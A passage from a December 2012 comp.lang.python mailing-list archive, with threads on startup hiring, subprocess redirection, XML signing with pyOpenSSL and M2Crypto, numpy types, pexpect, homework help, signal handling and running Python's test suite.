at pearwood.info Fri Dec 14 22:58:28 2012 From: steve+comp.lang.python at pearwood.info (Steven D'Aprano) Date: 15 Dec 2012 03:58:28 GMT Subject: What are the minimum requirements to get a job in? References: <360cbf06-cb91-4631-a607-8738b08ffa60@googlegroups.com> <50cbaf19$0$29991$c3e8da3$5496439d@news.astraweb.com> Message-ID: <50cbf563$0$29991$c3e8da3$5496439d@news.astraweb.com> On Fri, 14 Dec 2012 19:45:40 -0500, Roy Smith wrote: >> If somebody can to me with prior experience at Google or Facebook, my >> first thought would be "Ah, couldn't cut it with the big boys huh? If >> you are good enough for Google, what the hell are you doing coming to >> us?" > > Wow, you must have a really low opinion of yourself. Part of being at a > startup is believing in yourself. What makes you think I work for a startup? It might astonish some people in the IT industry, but not every company is under three years old and still burning through some VC's money. As for the attitude "believe in yourself", that's a big part of why 50% of startups fail within four years and over 70% within ten years. That's new business in general, by the way. I expect that startups in the tech industry will be less successful. To paraphrase Terry Pratchett: "If you trust in yourself, and believe in your dreams, and follow your star... you'll be beaten by people who work hard and learn things." Rather than "believe in yourself", I prefer "Know Thyself". A man's got to know his limitations. That applies for the company you work for too. > Going around thinking, "he/she's too > good for us" is not an effective way to screen potential candidates if > you're trying to build a successful business. Perhaps we have a different perspective, but I don't think it is wise to hire somebody who is likely to leave for greener pastures just as you are starting to rely on them. -- Steven From dieter at handshake.de Sat Dec 15 02:12:15 2012 From: dieter at handshake.de (Dieter Maurer) Date: Sat, 15 Dec 2012 08:12:15 +0100 Subject: os.system and subprocess odd behavior References: Message-ID: <874njneqls.fsf@handshake.de> py_genetic writes: > Example of the issue for arguments sake: > > Platform Ubuntu server 12.04LTS, python 2.7 > > Say file1.txt has "hello world" in it. ^^^^^^^^^ Here, you speak of "file1.txt" (note the extension ".txt") > subprocess.Popen("cat < file1 > file2", shell = True) > subprocess.call("cat < file1 > file2", shell = True) > os.system("cat < file1 > file2") But in your code, you use "file1" (without extension). If your code really references a non-existing file, you may well get what you are observing. From stefan_ml at behnel.de Sat Dec 15 04:31:09 2012 From: stefan_ml at behnel.de (Stefan Behnel) Date: Sat, 15 Dec 2012 10:31:09 +0100 Subject: Create xml with elementtree ET and xml escaping In-Reply-To: References: <7caeb6db-41f9-4321-b172-f8ddb6a9ac6d@googlegroups.com> Message-ID: nenad.cikic at gmail.com, 12.12.2012 03:19: > Il giorno marted? 11 dicembre 2012 20:59:54 UTC+1, MRAB ha scritto: >> >>> Since I have also the need to sign the XML I need the ability to create xml but without xml escaping (unescaped data are signed). >> >> XML with the escaping isn't valid XML. > > Of course I know it is not valid without escaping. But I need it only for signing. I will recheck this if really the web service wants the data to be signed as non escaped. If it expects non-XML, you should tell the owners of the web service so that they can fix it. Stefan From satorulogic at gmail.com Sat Dec 15 04:40:13 2012 From: satorulogic at gmail.com (suzaku) Date: Sat, 15 Dec 2012 01:40:13 -0800 (PST) Subject: sum returns numpy.float64 when applied to a sequence of numpy.uint64 Message-ID: <9cf89d70-36be-4b69-ab18-85e387eeb972@googlegroups.com> I came across this question on StackOverflow today: http://stackoverflow.com/questions/13890451/why-numpy-sum-returns-a-float64-instead-of-an-uint64-when-adding-elements-of-a-g I'm not familiar with `numpy` but I'm curious about this, so I started doing some experiments. This is what I have discovered so far: 1. when a `generator ` is passed to `numpy.sum`, it fallback to use Python's built-in `sum`. 2. if elements of the sequence passed to `sum` is of type `numpy.uint64`, the result would be a number of type `numpy.float64`; 3. when I tried it with `numpy.int64`, the result is as expected: `numpy.int64`. I guess the reason maybe that we don't really have `64 bits unsigned integer` in Python, so the numbers get converted to something different. And if so, I have no idea why it chose `float64` as the type. From news4 at mystrobl.de Sat Dec 15 06:29:33 2012 From: news4 at mystrobl.de (Wolfgang Strobl) Date: Sat, 15 Dec 2012 12:29:33 +0100 Subject: What are the minimum requirements to get a job in? References: <360cbf06-cb91-4631-a607-8738b08ffa60@googlegroups.com> Message-ID: <1ghoc8p4ufs6bpjs23ko2cikn9e6ps20p8@4ax.com> Christian Heimes : >To be fair, memcpy() is a pretty simple function. This, of course, depends on the target architecture. See for example or >It can be implemented >in just about two lines of C code plus five lines of boiler plate. Or in a single line of IBM 360 ASM/F Code, plus boiler plate. :-) In 1979, I implemented various block move code snippets for three different eight bit microprocessors of that time. The parameterized variant took between 20 and >30 instructions. -- Wir danken f?r die Beachtung aller Sicherheitsbestimmungen From rosuav at gmail.com Sat Dec 15 06:34:28 2012 From: rosuav at gmail.com (Chris Angelico) Date: Sat, 15 Dec 2012 22:34:28 +1100 Subject: What are the minimum requirements to get a job in? In-Reply-To: <1ghoc8p4ufs6bpjs23ko2cikn9e6ps20p8@4ax.com> References: <360cbf06-cb91-4631-a607-8738b08ffa60@googlegroups.com> <1ghoc8p4ufs6bpjs23ko2cikn9e6ps20p8@4ax.com> Message-ID: On Sat, Dec 15, 2012 at 10:29 PM, Wolfgang Strobl wrote: > Christian Heimes : > >>To be fair, memcpy() is a pretty simple function. > > This, of course, depends on the target architecture. See for example > or > > >>It can be implemented >>in just about two lines of C code plus five lines of boiler plate. > > Or in a single line of IBM 360 ASM/F Code, plus boiler plate. :-) > > > In 1979, I implemented various block move code snippets for three > different eight bit microprocessors of that time. The parameterized > variant took between 20 and >30 instructions. Same in 8086 - you just do a REP MOVSB (after setting CX to the length, DS:SI to the source, ES:DI to the destination). But it's slower than the equivalent with more explicit register action. ChrisA From sontungaptech at gmail.com Sat Dec 15 07:47:50 2012 From: sontungaptech at gmail.com (Son Tung Nguyen Trong) Date: Sat, 15 Dec 2012 04:47:50 -0800 (PST) Subject: Lost in Black-jack Message-ID: <8813cb15-36d2-48f7-a5ba-7df741a7a76b@googlegroups.com> I'm stuck in Phase 1- Get_value method and deal_card in Back-jack project and the course in Coursea as well :(. I just returned and working on it, this is what I've done so far. Can you guys help me? I really wanna accomplish this course. http://www.codeskulptor.org/#user7-xlgwHlbg4O-0.py From jim.hefferon at gmail.com Sat Dec 15 07:48:53 2012 From: jim.hefferon at gmail.com (jim.hefferon at gmail.com) Date: Sat, 15 Dec 2012 04:48:53 -0800 (PST) Subject: Pexpect and buffering Message-ID: Hello, I'm trying to use pexpect to grab interactions with Python's REPL. I am having trouble with tracebacks. Possibly it is related to buffering (hence the subject line) but I admit that's a guess. At the end of this message is a minimal example program. It feeds three commands to a python interpreter. The second command should fail like this. >>> a Traceback (most recent call last): File "", line 1, in NameError: name 'a' is not defined >>> However, pexpect only returns part of that "Traceback .." message, that is, pexpect is not waiting for the >>> prompt. I have included the output of the program below, after the program. (In case it helps, spawning Python with -u doesn't make any difference.) I'd be very glad for any suggestions. Jim The program: -------------------------------------------------- #!/usr/bin/python import sys, os, re, pprint import pexpect cmds = ['1+2', 'a', '3+4'] PROMPT = '>>> ' PROMPT_CONTINUE = '... ' child = pexpect.spawn('python') # start the repl # child = pexpect.spawn('python', maxread=1) # makes no difference child.expect([PROMPT]) print " initial child.before=",pprint.pformat(child.before) print " initial child.after=",pprint.pformat(child.after) r = [] for cmd in cmds: print "++++++ cmd=",pprint.pformat(cmd) child.sendline(cmd) dex = child.expect([PROMPT, PROMPT_CONTINUE]) print " child.before=",pprint.pformat(child.before) print " child.after=",pprint.pformat(child.after) r.append(child.before) print "r=",pprint.pformat(r) ----------------------------------------- My screen when I run this (Ubuntu 12.04 with Python 2.7.3). $ ./minex.py initial child.before= 'Python 2.7.3 (default, Aug 1 2012, 05:16:07) \r\n[GCC 4.6.3] on linux2\r\nType "help", "copyright", "credits" or "license" for more information.\r\n' initial child.after= '>>> ' ++++++ cmd= '1+2' child.before= '1+2\r\n3\r\n' child.after= '>>> ' ++++++ cmd= 'a' child.before= 'a\r\nTraceb' child.after= 'ack ' ++++++ cmd= '3+4' child.before= '(m' child.after= 'ost ' r= ['1+2\r\n3\r\n', 'a\r\nTraceb', '(m'] From sontungaptech at gmail.com Sat Dec 15 07:49:25 2012 From: sontungaptech at gmail.com (Son Tung Nguyen Trong) Date: Sat, 15 Dec 2012 04:49:25 -0800 (PST) Subject: Lost in Black-jack Message-ID: I'm stuck in Phase 1- Get_value method and deal_card in Back-jack project and the course in Coursea as well :(. I just returned and working on it, this is what I've done so far. Can you guys help me? I really wanna accomplish this course. http://www.codeskulptor.org/#user7-xlgwHlbg4O-0.py From rosuav at gmail.com Sat Dec 15 08:27:42 2012 From: rosuav at gmail.com (Chris Angelico) Date: Sun, 16 Dec 2012 00:27:42 +1100 Subject: Lost in Black-jack In-Reply-To: <8813cb15-36d2-48f7-a5ba-7df741a7a76b@googlegroups.com> References: <8813cb15-36d2-48f7-a5ba-7df741a7a76b@googlegroups.com> Message-ID: On Sat, Dec 15, 2012 at 11:47 PM, Son Tung Nguyen Trong wrote: > I'm stuck in Phase 1- Get_value method and deal_card in Back-jack project and the course in Coursea as well :(. I just returned and working on it, this is what I've done so far. Can you guys help me? I really wanna accomplish this course. > > http://www.codeskulptor.org/#user7-xlgwHlbg4O-0.py You have some code there. Can you be more specific as to the stuckness you're experiencing? Does the program not do what it ought to do? Throw an exception? Work perfectly, but not have all the features you want it to have? ChrisA From sontungaptech at gmail.com Sat Dec 15 09:42:16 2012 From: sontungaptech at gmail.com (Son Tung Nguyen Trong) Date: Sat, 15 Dec 2012 06:42:16 -0800 (PST) Subject: Lost in Black-jack In-Reply-To: References: <8813cb15-36d2-48f7-a5ba-7df741a7a76b@googlegroups.com> Message-ID: <6815fc0c-87ab-47d1-8f84-b91a3b23fa72@googlegroups.com> V?o 20:27:42 UTC+7 Th? b?y, ng?y 15 th?ng m??i hai n?m 2012, Chris Angelico ?? vi?t: > On Sat, Dec 15, 2012 at 11:47 PM, Son Tung Nguyen Trong > > wrote: > > > I'm stuck in Phase 1- Get_value method and deal_card in Back-jack project and the course in Coursea as well :(. I just returned and working on it, this is what I've done so far. Can you guys help me? I really wanna accomplish this course. > > > > > > http://www.codeskulptor.org/#user7-xlgwHlbg4O-0.py > > > > You have some code there. Can you be more specific as to the stuckness > > you're experiencing? Does the program not do what it ought to do? > > Throw an exception? Work perfectly, but not have all the features you > > want it to have? > > > > ChrisA Actually I'm following jan grant and lost in implement get_rank method() From sontungaptech at gmail.com Sat Dec 15 09:42:16 2012 From: sontungaptech at gmail.com (Son Tung Nguyen Trong) Date: Sat, 15 Dec 2012 06:42:16 -0800 (PST) Subject: Lost in Black-jack In-Reply-To: References: <8813cb15-36d2-48f7-a5ba-7df741a7a76b@googlegroups.com> Message-ID: <6815fc0c-87ab-47d1-8f84-b91a3b23fa72@googlegroups.com> V?o 20:27:42 UTC+7 Th? b?y, ng?y 15 th?ng m??i hai n?m 2012, Chris Angelico ?? vi?t: > On Sat, Dec 15, 2012 at 11:47 PM, Son Tung Nguyen Trong > > wrote: > > > I'm stuck in Phase 1- Get_value method and deal_card in Back-jack project and the course in Coursea as well :(. I just returned and working on it, this is what I've done so far. Can you guys help me? I really wanna accomplish this course. > > > > > > http://www.codeskulptor.org/#user7-xlgwHlbg4O-0.py > > > > You have some code there. Can you be more specific as to the stuckness > > you're experiencing? Does the program not do what it ought to do? > > Throw an exception? Work perfectly, but not have all the features you > > want it to have? > > > > ChrisA Actually I'm following jan grant and lost in implement get_rank method() From rosuav at gmail.com Sat Dec 15 09:58:59 2012 From: rosuav at gmail.com (Chris Angelico) Date: Sun, 16 Dec 2012 01:58:59 +1100 Subject: Lost in Black-jack In-Reply-To: <6815fc0c-87ab-47d1-8f84-b91a3b23fa72@googlegroups.com> References: <8813cb15-36d2-48f7-a5ba-7df741a7a76b@googlegroups.com> <6815fc0c-87ab-47d1-8f84-b91a3b23fa72@googlegroups.com> Message-ID: On Sun, Dec 16, 2012 at 1:42 AM, Son Tung Nguyen Trong wrote: > V?o 20:27:42 UTC+7 Th? b?y, ng?y 15 th?ng m??i hai n?m 2012, Chris Angelico ?? vi?t: >> On Sat, Dec 15, 2012 at 11:47 PM, Son Tung Nguyen Trong >> >> wrote: >> >> > I'm stuck in Phase 1- Get_value method and deal_card in Back-jack project and the course in Coursea as well :(. I just returned and working on it, this is what I've done so far. Can you guys help me? I really wanna accomplish this course. >> >> > >> >> > http://www.codeskulptor.org/#user7-xlgwHlbg4O-0.py >> >> >> >> You have some code there. Can you be more specific as to the stuckness >> >> you're experiencing? Does the program not do what it ought to do? >> >> Throw an exception? Work perfectly, but not have all the features you >> >> want it to have? >> >> >> >> ChrisA > > Actually I'm following jan grant and lost in implement get_rank method() Two pieces of advice. Step 1: Assume we know nothing of the course you're taking. Step 2: Instead of making vague statements of "lost", say exactly what you're having trouble with. We're not here to do your homework for you. Ask a specific question (or ask about a specific topic, eg "I don't understand how to X") and we'll happily answer. The goal of the course is for you to gain competence, not for us to write code for you, so ask questions with that in mind. Step 3: For extra points, get yourself off Google Groups. Some of the best responders here have a policy of dropping all posts from Google Groups users, partly because of some stupidities in the interface that result in double-spaced posts such as the above. You can subscribe to python-list and read it all as email, or get a real newsreader, but Google Groups is one of the quickest ways to restrict your potential responses. If you're going to continue using GG, please give some thought to the quoted text (trim it, and un-double-space it), and also to the To: field - by default, it seems to send to both the newsgroup and the list, which is unnecessary. Another "extra credit" tip. Have a read of http://www.catb.org/esr/faqs/smart-questions.html and be sure you understand what it's saying. This isn't necessary for getting a response, but it sure will help. ChrisA From nenad.cikic at gmail.com Sat Dec 15 10:19:50 2012 From: nenad.cikic at gmail.com (Nenad Cikic) Date: Sat, 15 Dec 2012 07:19:50 -0800 (PST) Subject: What package to use for certificate manipulation (signing, hashing) In-Reply-To: <0253023a-8c1c-4b55-a02c-1192e1c76357@googlegroups.com> References: <0253023a-8c1c-4b55-a02c-1192e1c76357@googlegroups.com> Message-ID: <9ca7cc41-db40-4fa1-9536-c71b5da8cead@googlegroups.com> I have managed to sign xml so I am reporting here in case some else needs this info.Also if someone more experienced see some possible improvment please leave a note. So my input is a pfx file. I am forced to use both pyopeenssl and m2crypto. I am using PyOpenssl to extract certificate and private key. pfx=open('/home/cikic/manc.pfx','rb').read() PKCS=crypto.load_pkcs12(pfx,'mypfxpass') cert=PKCS.get_certificate() #PKey=cert.get_pubkey() pk=PKCS.get_privatekey() pkStr=crypto.dump_privatekey(crypto.FILETYPE_PEM,pk) I am using PyOpenssl to extract pem, serial number and issuer from certificate but you could do it also with m2crypto. I am constructin m2crypto RSA object with rsa=RSA.load_key_string(pkStr) I am using m2crypto MessageDigest('sha1') or MessageDigest('md5') as needed and I am singing the hash with dig=MessageDigest('sha1') dig.update(xmlstring) dgst=dig.digest() retVal=rsa.sign(dgst,'sha1') Then I use sval=base64.b64encode(retVal) to get the signature value Essentially I use pyopenssl just to get private key since I didn't find m2crypto function that reads pfx file. Nenad From moonhkt at gmail.com Sat Dec 15 10:34:29 2012 From: moonhkt at gmail.com (moonhkt) Date: Sat, 15 Dec 2012 07:34:29 -0800 (PST) Subject: About UNIX shell trap, any relative function in Python ? Message-ID: <1927a0de-c774-43b3-9e8b-f88c8900fd82@s6g2000pby.googlegroups.com> Hi All Machine : AIX 5.3 Python : 2.6.2 In UNIX have, trap to run defined CLEAN_UP function. When HUP INT KILL STOP TERM will run CLEAN_UP function. trap 'echo "\n\nProcessing Clean up"; CLEAN_UP; exit' HUP INT KILL STOP TERM Any relative function in Python ? moonhkt From rosuav at gmail.com Sat Dec 15 11:04:57 2012 From: rosuav at gmail.com (Chris Angelico) Date: Sun, 16 Dec 2012 03:04:57 +1100 Subject: About UNIX shell trap, any relative function in Python ? In-Reply-To: <1927a0de-c774-43b3-9e8b-f88c8900fd82@s6g2000pby.googlegroups.com> References: <1927a0de-c774-43b3-9e8b-f88c8900fd82@s6g2000pby.googlegroups.com> Message-ID: On Sun, Dec 16, 2012 at 2:34 AM, moonhkt wrote: > > Hi All > > Machine : AIX 5.3 > Python : 2.6.2 > > In UNIX have, trap to run defined CLEAN_UP function. When HUP INT > KILL STOP TERM will run CLEAN_UP function. > > trap 'echo "\n\nProcessing Clean up"; CLEAN_UP; exit' HUP INT KILL > STOP TERM > > Any relative function in Python ? Yep! Check out the 'signal' module: http://docs.python.org/3.3/library/signal.html ChrisA From rosuav at gmail.com Sat Dec 15 11:05:47 2012 From: rosuav at gmail.com (Chris Angelico) Date: Sun, 16 Dec 2012 03:05:47 +1100 Subject: About UNIX shell trap, any relative function in Python ? In-Reply-To: References: <1927a0de-c774-43b3-9e8b-f88c8900fd82@s6g2000pby.googlegroups.com> Message-ID: On Sun, Dec 16, 2012 at 3:04 AM, Chris Angelico wrote: > On Sun, Dec 16, 2012 at 2:34 AM, moonhkt wrote: >> >> Hi All >> >> Machine : AIX 5.3 >> Python : 2.6.2 > > Yep! Check out the 'signal' module: > > http://docs.python.org/3.3/library/signal.html Or, since you're working with 2.6.2: http://docs.python.org/2.6/library/signal.html ChrisA From dmitrey15 at gmail.com Sat Dec 15 11:22:30 2012 From: dmitrey15 at gmail.com (dmitrey15 at gmail.com) Date: Sat, 15 Dec 2012 08:22:30 -0800 (PST) Subject: [ANN] OpenOpt Suite release 0.43 Message-ID: <6df60f56-f1d5-4651-bbc9-15c31b8e4665@googlegroups.com> Hi all, I'm glad to inform you about new OpenOpt release 0.43 (2012-Dec-15): * Many improvements for solver interalg * Some improvements for FuncDesigner kernel * FuncDesigner stochastic addon now can handle some problems with gradient-based NLP / NSP solvers * Many minor improvements and some bugfixes Visit http://www.openopt.org for more details. Regards, D. From moonhkt at gmail.com Sat Dec 15 11:36:32 2012 From: moonhkt at gmail.com (moonhkt) Date: Sat, 15 Dec 2012 08:36:32 -0800 (PST) Subject: About UNIX shell trap, any relative function in Python ? References: <1927a0de-c774-43b3-9e8b-f88c8900fd82@s6g2000pby.googlegroups.com> Message-ID: <03fafafb-8c65-40c2-9576-072cc099f0ee@6g2000pbh.googlegroups.com> On 12?16?, ??12?05?, Chris Angelico wrote: > On Sun, Dec 16, 2012 at 3:04 AM, Chris Angelico wrote: > > On Sun, Dec 16, 2012 at 2:34 AM, moonhkt wrote: > > >> Hi All > > >> Machine : AIX 5.3 > >> Python : 2.6.2 > > > Yep! Check out the 'signal' module: > > >http://docs.python.org/3.3/library/signal.html > > Or, since you're working with 2.6.2: > > http://docs.python.org/2.6/library/signal.html > > ChrisA Thank. will try. From irmen.NOSPAM at xs4all.nl Sat Dec 15 17:30:58 2012 From: irmen.NOSPAM at xs4all.nl (Irmen de Jong) Date: Sat, 15 Dec 2012 23:30:58 +0100 Subject: need some help with unexpected signal exception when using input from a thread (Pypy 1.9.0 on osx/linux) Message-ID: <50ccfa1f$0$6880$e4fe514c@news.xs4all.nl> Hi. Using Pypy 1.9.0. Importing readline. Using a background thread to get input() from stdin. It then crashes with: File "/usr/local/Cellar/pypy/1.9/lib_pypy/pyrepl/unix_console.py", line 400, in restore signal.signal(signal.SIGWINCH, self.old_sigwinch) ValueError: signal() must be called from the main thread Anyone seen this before? What's going on? When I don't import readline, or do the input() from within the main thread, the problem disappears. (I tried to reproduce it in a small test scenario but unfortunately have not been able to do so yet. Haven't figured out yet what the additional factors are that trigger this problem. A simple import readline and input() from a new thread doesn't seem to trigger it, unfortunately) Regards Irmen de Jong From esj at harvee.org Sat Dec 15 18:11:42 2012 From: esj at harvee.org (Eric Johansson) Date: Sat, 15 Dec 2012 18:11:42 -0500 Subject: problem with web browser module Message-ID: <50CD03AE.1020102@harvee.org> I need to be able to invoke a specific webpage with Internet Explorer. If the browser is not up with that page, I needed to come up with that page. If the browser is already up, I only need to bring that browser and page to the top of the window piles. When I use the web browser module today, it always seems to bring a new browser instance up. Is there anyway to get it to work with a single instance? the use case is to invoke a specific evernote page and make it available for immediate dictation using speech recognition. There's a whole bunch of other things I need to do around the browser invocation but that's my problem and fortunately I know what I have to do. I just need your help in making sure only a single browser instance is created and it references a single page. If I have multiple pages I need to refer to, it would be nice if they came up the separate tabs within the same browser instance.:-) A clue or two would be welcome. Thanks --- eric From gheskett at wdtv.com Sat Dec 15 20:38:12 2012 From: gheskett at wdtv.com (Gene Heskett) Date: Sat, 15 Dec 2012 20:38:12 -0500 Subject: Is there a quick & accurate way to test a python install? Message-ID: <201212152038.12350.gheskett@wdtv.com> Greetings; I had an app that is a heavy user of python crash on exit earlier today, and ever since, the app complains it can't find something in the python tree, and eventually the app exits. The leading few lines of the dmesg report are: Starting LinuxCNC... redis server started as: 'redis-server ', logging to: /dev/null (time=1355621147.276382,pid=5133): Registering server on TCP port 5005. (time=1355621147.276602,pid=5133): running server for TCP port 5005 (connection_socket = 3). io started iocontrol: machine: 'my-lathe' version 'unknown' halcmd loadusr io started task pid=5195 task: machine: 'my-lathe' version 'unknown' emcTaskOnce: Python plugin configuredemcTaskOnce: extract(task_instance): KeyError: ('task',) emcTaskOnce: no Python Task() instance available, using default iocontrol- based task methods waiting for s.axes waiting for s.axes waiting for s.axes waiting for s.axes waiting for s.axes waiting for s.axes waiting for s.axes waiting for s.axes waiting for s.axes A configuration error is preventing LinuxCNC from starting. Then it throws several stanza's of unload messages, culmination in a SEGMENTATION FAULT. How can I check & see if my python install if alive? Thanks. Cheers, Gene -- "There are four boxes to be used in defense of liberty: soap, ballot, jury, and ammo. Please use in that order." -Ed Howdershelt (Author) My web page: is up! Restaurant package, not for resale. I was taught to respect my elders, but its getting harder and harder to find any... From dustinguerri at gmail.com Sat Dec 15 20:49:35 2012 From: dustinguerri at gmail.com (Dustin Guerri) Date: Sun, 16 Dec 2012 02:49:35 +0100 Subject: No subject Message-ID: Hi there, I'm new to Python and to programming. is this the right place for me to post a beginner question on Python use ? Many thanks. -------------- next part -------------- An HTML attachment was scrubbed... URL: From rosuav at gmail.com Sat Dec 15 20:54:57 2012 From: rosuav at gmail.com (Chris Angelico) Date: Sun, 16 Dec 2012 12:54:57 +1100 Subject: No subject In-Reply-To: References: Message-ID: On Sun, Dec 16, 2012 at 12:49 PM, Dustin Guerri wrote: > Hi there, > > I'm new to Python and to programming. is this the right place for me to > post a beginner question on Python use ? Possibly! Depends on the question. You may also want to check out the python-tutor list, which works in parallel with this one: http://mail.python.org/mailman/listinfo/tutor Have a look at its archives and the archives of this list: http://mail.python.org/pipermail/tutor/ http://mail.python.org/pipermail/python-list/ You'll get an idea of the character of each list, which may tell you which one is appropriate for your question. And hey, if you're lucky, you might even find the answer right there! ChrisA From benjamin.kaplan at case.edu Sat Dec 15 20:56:10 2012 From: benjamin.kaplan at case.edu (Benjamin Kaplan) Date: Sat, 15 Dec 2012 17:56:10 -0800 Subject: No subject In-Reply-To: References: Message-ID: On Sat, Dec 15, 2012 at 5:49 PM, Dustin Guerri wrote: > > Hi there, > > I'm new to Python and to programming. is this the right place for me to > post a beginner question on Python use ? > > Many thanks. > You could post questions here, but it would be better to use the Python-tutor list for that. From tjreedy at udel.edu Sat Dec 15 21:08:49 2012 From: tjreedy at udel.edu (Terry Reedy) Date: Sat, 15 Dec 2012 21:08:49 -0500 Subject: Is there a quick & accurate way to test a python install? In-Reply-To: <201212152038.12350.gheskett@wdtv.com> References: <201212152038.12350.gheskett@wdtv.com> Message-ID: On 12/15/2012 8:38 PM, Gene Heskett wrote: see 26.11.2. Running tests using the command-line interface for your version. Note that there are a few errors all the time, at least when testing a user installation on windows, and you will have to hit return a few times to go past some tests meant to raise errors. -- Terry Jan Reedy From tjreedy at udel.edu Sat Dec 15 21:14:25 2012 From: tjreedy at udel.edu (Terry Reedy) Date: Sat, 15 Dec 2012 21:14:25 -0500 Subject: problem with web browser module In-Reply-To: <50CD03AE.1020102@harvee.org> References: <50CD03AE.1020102@harvee.org> Message-ID: On 12/15/2012 6:11 PM, Eric Johansson wrote: > I need to be able to invoke a specific webpage with Internet Explorer. > If the browser is not up with that page, I needed to come up with that > page. If the browser is already up, I only need to bring that browser > and page to the top of the window piles. > > When I use the web browser module today, it always seems to bring a new > browser instance up. Is there anyway to get it to work with a single > instance? > > the use case is to invoke a specific evernote page and make it available > for immediate dictation using speech recognition. There's a whole bunch > of other things I need to do around the browser invocation but that's my > problem and fortunately I know what I have to do. I just need your help > in making sure only a single browser instance is created and it > references a single page. If I have multiple pages I need to refer to, > it would be nice if they came up the separate tabs within the same > browser instance.:-) I believe this worked with Firefox the last time I tested. I just read the docs. Never tried IE. I believe details partly depend on browser. -- Terry Jan Reedy From gheskett at wdtv.com Sat Dec 15 21:21:21 2012 From: gheskett at wdtv.com (Gene Heskett) Date: Sat, 15 Dec 2012 21:21:21 -0500 Subject: Is there a quick & accurate way to test a python install? In-Reply-To: References: <201212152038.12350.gheskett@wdtv.com> Message-ID: <201212152121.21934.gheskett@wdtv.com> On Saturday 15 December 2012 21:19:37 Terry Reedy did opine: > On 12/15/2012 8:38 PM, Gene Heskett wrote: > > see > 26.11.2. I'm not a python guru, Terry, so you will have to expand on this 26.11.2. Thanks > Running tests using the command-line interface > for your version. Note that there are a few errors all the time, at > least when testing a user installation on windows, and you will have to > hit return a few times to go past some tests meant to raise errors. Cheers, Gene -- "There are four boxes to be used in defense of liberty: soap, ballot, jury, and ammo. Please use in that order." -Ed Howdershelt (Author) My web page: is up! For gin, in cruel Sober truth, Supplies the fuel For flaming youth. -- Noel Coward I was taught to respect my elders, but its getting harder and harder to find any... From tjreedy at udel.edu Sat Dec 15 21:27:28 2012 From: tjreedy at udel.edu (Terry Reedy) Date: Sat, 15 Dec 2012 21:27:28 -0500 Subject: Is there a quick & accurate way to test a python install? In-Reply-To: <201212152121.21934.gheskett@wdtv.com> References: <201212152038.12350.gheskett@wdtv.com> <201212152121.21934.gheskett@wdtv.com> Message-ID: On 12/15/2012 9:21 PM, Gene Heskett wrote: > On Saturday 15 December 2012 21:19:37 Terry Reedy did opine: > >> On 12/15/2012 8:38 PM, Gene Heskett wrote: >> >> see >> 26.11.2. > > I'm not a python guru, Terry, so you will have to expand on this 26.11.2. http://docs.python.org/3/library/test.html#running-tests-using-the-command-line-interface 3.x on command line: python -m test "Under the hood, it uses test.regrtest; the call python -m test.regrtest used in previous Python versions [ie, 2.x] still works)." Followed by more options and os specifics. It is also possible to run interactively. 'import test; test.main()' may do it, but it have been awhile and is not documented. -- Terry Jan Reedy From gheskett at wdtv.com Sat Dec 15 21:59:12 2012 From: gheskett at wdtv.com (Gene Heskett) Date: Sat, 15 Dec 2012 21:59:12 -0500 Subject: Is there a quick & accurate way to test a python install? In-Reply-To: References: <201212152038.12350.gheskett@wdtv.com> <201212152121.21934.gheskett@wdtv.com> Message-ID: <201212152159.12649.gheskett@wdtv.com> On Saturday 15 December 2012 21:52:00 Terry Reedy did opine: > On 12/15/2012 9:21 PM, Gene Heskett wrote: > > On Saturday 15 December 2012 21:19:37 Terry Reedy did opine: > >> On 12/15/2012 8:38 PM, Gene Heskett wrote: > >> > >> see > >> 26.11.2. > > > > I'm not a python guru, Terry, so you will have to expand on this > > 26.11.2. > > http://docs.python.org/3/library/test.html#running-tests-using-the-comma > nd-line-interface This is 2.6, on ubuntu-10.04.4 LTS > 3.x on command line: python -m test > "Under the hood, it uses test.regrtest; the call python -m test.regrtest > used in previous Python versions [ie, 2.x] still works)." > > Followed by more options and os specifics. It is also possible to run > interactively. 'import test; test.main()' may do it, but it have been > awhile and is not documented. I googled and found something like that, but the machine thats bad throws the same error stanza as one that seems to work. From the machine with the problem: gene at lathe:/usr/lib/python2.6/test$ python -m test.regrtest test_grammar test_grammar skipped -- No module named test_grammar test_opcodes test_opcodes skipped -- No module named test_opcodes test_dict test_dict skipped -- No module named test_dict test_builtin test_builtin skipped -- No module named test_builtin test_exceptions test_exceptions skipped -- No module named test_exceptions test_types test_types skipped -- No module named test_types test_unittest test_unittest skipped -- No module named test_unittest test_doctest test_doctest skipped -- No module named test_doctest test_doctest2 test_doctest2 skipped -- No module named test_doctest2 9 tests skipped: test_builtin test_dict test_doctest test_doctest2 test_exceptions test_grammar test_opcodes test_types test_unittest Traceback (most recent call last): File "/usr/lib/python2.6/runpy.py", line 122, in _run_module_as_main "__main__", fname, loader, pkg_name) File "/usr/lib/python2.6/runpy.py", line 34, in _run_code exec code in run_globals File "/usr/lib/python2.6/test/regrtest.py", line 1199, in main() File "/usr/lib/python2.6/test/regrtest.py", line 423, in main e = _ExpectedSkips() File "/usr/lib/python2.6/test/regrtest.py", line 1112, in __init__ from test import test_timeout ImportError: cannot import name test_timeout gene at lathe:/usr/lib/python2.6/test$ I think that looks identical to this machine, given the identical command line. Any other ideas, or is the above all foobar? Thanks Terry. Cheers, Gene -- "There are four boxes to be used in defense of liberty: soap, ballot, jury, and ammo. Please use in that order." -Ed Howdershelt (Author) My web page: is up! Drinking coffee for instant relaxation? That's like drinking alcohol for instant motor skills. -- Marc Price I was taught to respect my elders, but its getting harder and harder to find any... From gheskett at wdtv.com Sat Dec 15 22:09:43 2012 From: gheskett at wdtv.com (Gene Heskett) Date: Sat, 15 Dec 2012 22:09:43 -0500 Subject: Is there a quick & accurate way to test a python install? In-Reply-To: References: <201212152038.12350.gheskett@wdtv.com> <201212152121.21934.gheskett@wdtv.com> Message-ID: <201212152209.43501.gheskett@wdtv.com> On Saturday 15 December 2012 22:07:54 Terry Reedy did opine: > On 12/15/2012 9:21 PM, Gene Heskett wrote: > > On Saturday 15 December 2012 21:19:37 Terry Reedy did opine: > >> On 12/15/2012 8:38 PM, Gene Heskett wrote: > >> > >> see > >> 26.11.2. > > > > I'm not a python guru, Terry, so you will have to expand on this > > 26.11.2. > > http://docs.python.org/3/library/test.html#running-tests-using-the-comma > nd-line-interface > > 3.x on command line: python -m test > "Under the hood, it uses test.regrtest; the call python -m test.regrtest > used in previous Python versions [ie, 2.x] still works)." > > Followed by more options and os specifics. It is also possible to run > interactively. 'import test; test.main()' may do it, but it have been > awhile and is not documented. Ok, from that docs page: root at coyote:/usr/lib/python2.6/test# python -m test -h /usr/bin/python: test is a package and cannot be directly executed Same return on all 3 machines. ?? Thanks Terry. Cheers, Gene -- "There are 